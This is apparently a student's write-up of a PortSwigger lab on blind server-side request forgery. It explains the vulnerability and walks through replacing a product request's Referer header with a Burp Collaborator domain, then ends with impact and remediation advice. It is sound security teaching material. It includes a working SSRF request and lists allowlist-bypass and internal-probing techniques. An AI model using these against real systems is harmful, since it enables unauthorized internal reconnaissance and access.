Server-side request forgery (SSRF)

Question & Answer

#

1. What is Server-Side Request Forgery (SSRF), and how does it differ from other types of web application vulnerabilities?

#

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to abuse a server-side application and force it to send HTTP requests to an unintended destination. Instead of the attacker directly connecting to the target resource, the vulnerable web server becomes the component that performs the request. This is dangerous because the server may have network access, trust relationships, or credentials that the attacker does not have.

SSRF differs from many common web vulnerabilities because the main attack path is not direct manipulation of the browser interface or database query output. For example, Cross-Site Scripting (XSS) mainly abuses the victim user’s browser, while SQL Injection targets the application’s database queries. SSRF abuses the server’s ability to make outbound requests. As a result, an attacker may be able to reach internal services, cloud metadata endpoints, administrative panels, or other protected resources that are normally inaccessible from the public Internet.

In a blind SSRF scenario, the application does not return the server-side response to the attacker. Therefore, the attacker cannot directly see the result of the request. Instead, the attacker confirms the vulnerability by using an out-of-band interaction server, such as Burp Collaborator. If the vulnerable server sends a DNS or HTTP request to the Collaborator domain, this proves that the server made the outbound request.

2. Describe a methodology for exploiting an SSRF vulnerability in a web application. What are the key steps and techniques involved in crafting and sending malicious requests to exploit SSRF vulnerabilities?

#

A practical methodology for testing SSRF starts by identifying inputs that may cause the application to fetch a URL or interact with an external resource. These inputs may include URL parameters, file import features, webhooks, image fetchers, document converters, API integrations, or HTTP headers such as Referer.

The tester then intercepts the request with Burp Suite and modifies the suspected input to contain a controlled URL. If the application returns the fetched content, the SSRF may be visible directly in the response. If the application is blind, the tester should use an out-of-band payload, such as a Burp Collaborator domain, and monitor whether DNS or HTTP interactions are received.

After confirming the SSRF behavior, the tester can assess the impact in a controlled and authorized way. Typical checks include whether the server can reach internal IP ranges, localhost services, metadata endpoints, or restricted network resources. A safe testing methodology should avoid destructive actions and should focus on proving reachability and impact with minimal requests.

Common SSRF testing techniques include replacing URL values with a Collaborator payload, testing different URL schemes, checking redirects, trying loopback and private network addresses, and reviewing how the application validates hostnames and IP addresses. Strong validation is required because weak allowlists can sometimes be bypassed with URL encoding, redirects, alternative IP formats, DNS tricks, or malformed URLs.

Blind SSRF with out-of-band detection

#

Lab objective

#

The goal of this lab is to identify and exploit a blind Server-Side Request Forgery vulnerability. The vulnerable application processes the Referer header when a product page is loaded. By replacing the Referer value with a Burp Collaborator payload, the tester can cause the server-side application to make an out-of-band request to the Collaborator server.

Step 1: Open the lab application

#

First, I opened the PortSwigger Web Security Academy lab titled Blind SSRF with out-of-band detection. The application displayed an online shopping website with several product cards.

This page provided a normal entry point for browsing product details. Since the lab is about blind SSRF, I expected that the vulnerable behavior would not necessarily be visible in the page response.

Step 2: Browse a product and capture the request in Burp Suite

#

Next, I opened a product details page and captured the HTTP traffic through Burp Suite Proxy. In the HTTP history, I selected the request for the product page:

1
2
3

GET /product?productId=1 HTTP/1.1
Host: <lab-id>.web-security-academy.net
Referer: https://<lab-id>.web-security-academy.net/

The important observation was that the request contained a Referer header. In this lab, the application uses this header in a server-side analytics or tracking function. Because the Referer header is user-controllable, it is a suitable injection point for testing blind SSRF.

Step 3: Generate a Burp Collaborator payload

#

I opened the Collaborator tab in Burp Suite Professional and generated one payload. Burp Collaborator provides a unique domain that can record DNS and HTTP interactions. This is useful for blind SSRF because the application does not display the result of the server-side request in the normal HTTP response.

The generated payload had the following format:

1

<unique-collaborator-id>.oastify.com

This payload was then copied to the clipboard and prepared for insertion into the vulnerable request.

Step 4: Send the product request to Repeater

#

I sent the selected product request from Proxy HTTP history to Repeater. Repeater allowed me to modify the request manually and resend it multiple times without reloading the browser.

In the request, I replaced the original Referer header with the Burp Collaborator URL:

1
2
3
4
5
6

GET /product?productId=1 HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<session-value>
User-Agent: Mozilla/5.0
Referer: https://<unique-collaborator-id>.oastify.com
Connection: keep-alive

After sending the request, the application still returned a normal product page response. This was expected because the vulnerability is blind. The successful server-side request would be confirmed through the Collaborator interaction instead of the normal HTTP response body.

Step 5: Poll Burp Collaborator for interactions

#

After sending the modified request, I returned to the Collaborator tab and polled for interactions. The Collaborator server received an out-of-band interaction from the lab server. This confirmed that the application processed the attacker-controlled Referer value and caused the server to make a request to the Collaborator payload.

This behavior proves the existence of blind SSRF because the outbound request was initiated by the server-side application, not by my browser.

Step 6: Confirm that the lab was solved

#

After the out-of-band interaction was received, the lab status changed to Solved. This confirmed that the payload successfully triggered the intended blind SSRF behavior.

Vulnerability explanation

#

The root cause of this vulnerability is that the application trusts a user-controllable HTTP header and uses it in a server-side request. The Referer header can be modified by the attacker, so it should not be treated as a trusted URL. When the application sends a request to the URL supplied in this header, an attacker can redirect the server-side request to an arbitrary destination.

In this lab, the impact is demonstrated with an out-of-band request to Burp Collaborator. In a real environment, the same weakness could allow an attacker to probe internal network services, interact with localhost-only applications, access cloud metadata endpoints, bypass network-level access controls, or trigger unintended requests from a trusted server.

Security impact

#

The confirmed vulnerability is blind SSRF. Although the application did not return the fetched content directly, the out-of-band interaction proves that the server made an attacker-controlled request. This can still be serious because the server may be located inside a trusted network zone and may have access to systems that are not reachable by external users.

Potential impacts include:

• Internal network reconnaissance from the server’s perspective.
• Access to internal HTTP services that are not exposed to the public Internet.
• Interaction with cloud metadata services if the application is hosted in a cloud environment.
• Bypassing firewall rules that trust requests originating from the vulnerable server.
• Using the vulnerable server as a proxy for limited internal requests.

Remediation recommendations

#

To prevent SSRF, the application should avoid making server-side requests based on untrusted user input. If the feature is required, the application should implement strict allowlisting of approved destinations. The allowlist should be based on normalized and resolved hostnames or IP addresses, not on simple string matching.

Recommended defenses include:

• Do not use user-controllable headers such as Referer as server-side fetch destinations.
• Use a strict allowlist of trusted hostnames and block all other destinations by default.
• Block requests to private, loopback, link-local, multicast, and reserved IP ranges.
• Resolve DNS server-side and validate the final resolved IP address before connecting.
• Disable or tightly control redirects when making server-side requests.
• Restrict outbound network access from the application server using egress firewall rules.
• Separate the application from sensitive internal services through network segmentation.
• Log and monitor unusual outbound requests from application servers.

Conclusion

#

This lab demonstrated a blind SSRF vulnerability triggered through the Referer header. By replacing the original Referer value with a Burp Collaborator payload and sending the modified request through Burp Repeater, I caused the server-side application to make an out-of-band request to the Collaborator server. The received interaction confirmed that the server processed the attacker-controlled URL, and the lab was successfully solved.